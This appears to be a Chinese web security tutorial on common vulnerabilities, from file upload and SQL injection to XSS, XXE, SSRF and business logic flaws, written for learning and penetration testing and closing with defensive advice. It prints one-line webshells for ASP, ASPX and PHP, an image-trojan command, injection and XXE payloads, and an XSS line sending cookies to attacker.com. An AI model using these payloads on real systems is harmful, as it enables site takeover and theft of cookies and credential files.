Web攻防原理剖析
字数 2497 2025-08-10 19:49:14
Web攻防原理剖析教学文档
1. 文件上传漏洞
1.1 漏洞简介
文件上传漏洞是指Web应用程序允许用户上传文件但未对上传文件进行充分验证,导致攻击者可上传恶意文件(如WebShell)到服务器,从而获取网站控制权限。
1.2 漏洞利用方式
- WebShell类型:
- ASP:
<%eval request("x")%> - ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%> - PHP:
<?php eval($_POST['x'])?> - JSP:包含执行系统命令的脚本
- ASP:
1.3 绕过技术
-
JS前端绕过:
- 修改文件后缀(如php改为jpg)
- 使用Burp Suite拦截并修改上传请求
-
文件头绕过:
- 添加合法文件头(如GIF89a)
- 制作图片木马:
copy demo.jpg/b + shell.php shell.jpg
-
黑名单缺陷:
- 使用特殊后缀(phtml、php3、php4等)
- Apache默认解析多种PHP后缀
-
00截断:
- 在文件名后添加%00截断后续字符
- 适用于PHP低版本
-
.htaccess绕过:
- 上传.htaccess文件设置解析规则
- 内容示例:
AddType application/x-httpd-php .jpg
2. 文件下载漏洞
2.1 漏洞简介
当网站提供文件查看或下载功能且未对访问文件做限制时,攻击者可下载任意文件,包括源代码、配置文件等敏感信息。
2.2 漏洞利用
-
常见敏感文件:
- Windows:
C:\Windows\win.ini,C:\Windows\System32\drivers\etc\hosts - Linux:
/etc/passwd,/etc/shadow,/root/.ssh/id_rsa
- Windows:
-
利用方法:
- 通过file、path等参数构造请求
- 下载数据库配置文件获取数据库凭证
3. 文件包含漏洞
3.1 漏洞类型
- 本地文件包含(LFI):包含服务器本地文件
- 远程文件包含(RFI):包含远程URL文件(需
allow_url_include开启)
3.2 利用技术
-
截断技术:
- 00截断:
?file=payload.txt%00 - 路径长度截断:超长路径使系统丢弃后缀
- 00截断:
-
伪协议利用:
php://filter:读取文件源码php://input:执行POST数据中的代码data://:直接执行代码
-
实战利用:
- 包含图片木马执行代码
- 包含日志文件写入恶意代码
4. SQL注入漏洞
4.1 注入类型
-
联合查询注入:
- 使用
UNION SELECT拼接查询 - 确定列数:
order by x
- 使用
-
报错注入:
- 利用MySQL Bug#8652:
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) - 使用
updatexml、extractvalue函数
- 利用MySQL Bug#8652:
-
布尔盲注:
- 通过页面返回差异判断条件真假
- 常用函数:
left()、mid()、substr()、ascii()
-
时间盲注:
- 使用
sleep()或benchmark()制造延迟 - 通过响应时间判断条件
- 使用
4.2 注入工具
- sqlmap:自动化检测与利用
- 超级SQL注入工具:操作更简单
5. 命令执行漏洞
5.1 常见函数
system()、exec()、shell_exec()、passthru()
5.2 利用方式
- 命令拼接:
;、&&、| - 无回显利用:通过DNS外带数据
6. XSS跨站脚本攻击
6.1 类型分类
- 反射型XSS:非持久化,需用户点击恶意链接
- 存储型XSS:恶意代码存储在服务器
- DOM型XSS:通过修改DOM节点触发
6.2 利用场景
- 盗取Cookie:
document.location='http://attacker.com/steal.php?cookie='+document.cookie - 钓鱼攻击
- 键盘记录
7. CSRF跨站请求伪造
7.1 攻击原理
利用用户已登录状态,诱使用户访问恶意页面发起伪造请求
7.2 攻击类型
- GET型CSRF:通过img标签等发起请求
- POST型CSRF:构造自动提交表单
8. XXE XML实体注入
8.1 利用方式
- 读取本地文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> - 内网探测
- 拒绝服务攻击
9. SSRF服务端请求伪造
9.1 利用协议
file://:读取本地文件http://:探测内网服务dict://:探测端口gopher://:发送多行协议数据
9.2 危害
- 内网服务探测
- 攻击Redis等服务
- 读取敏感信息
10. 业务逻辑漏洞
10.1 验证码安全
- 验证码绕过:
- 验证码不失效
- 验证码直接返回
- 首次登录绕过
- 验证码过于简单
10.2 支付漏洞
- 金额篡改:
- 直接修改金额参数
- 修改商品数量为负数
- 修改运费金额
10.3 账户越权
- 未授权访问:直接访问需授权接口
- 水平越权:访问同权限用户数据
- 垂直越权:低权限访问高权限功能
10.4 密码重置
- 验证码问题:
- 验证码不失效
- 验证码直接返回
- 跳过验证步骤:直接访问重置页面
- 手机号未绑定:修改接收验证码手机号
- ID替换:修改用户ID参数重置他人密码
防御建议
- 对所有用户输入进行严格过滤和验证
- 使用白名单机制替代黑名单
- 最小权限原则
- 敏感操作增加二次验证
- 关键业务逻辑增加多因素校验
- 及时更新和修补系统漏洞
工具推荐
- Burp Suite:抓包和修改请求
- sqlmap:SQL注入自动化工具
- 蚁剑/中国菜刀:WebShell管理
- hashcat:密码破解
- Nmap:端口扫描和服务探测
本教学文档涵盖了Web安全中常见漏洞的原理、利用方法和防御措施,可作为安全学习和渗透测试的参考指南。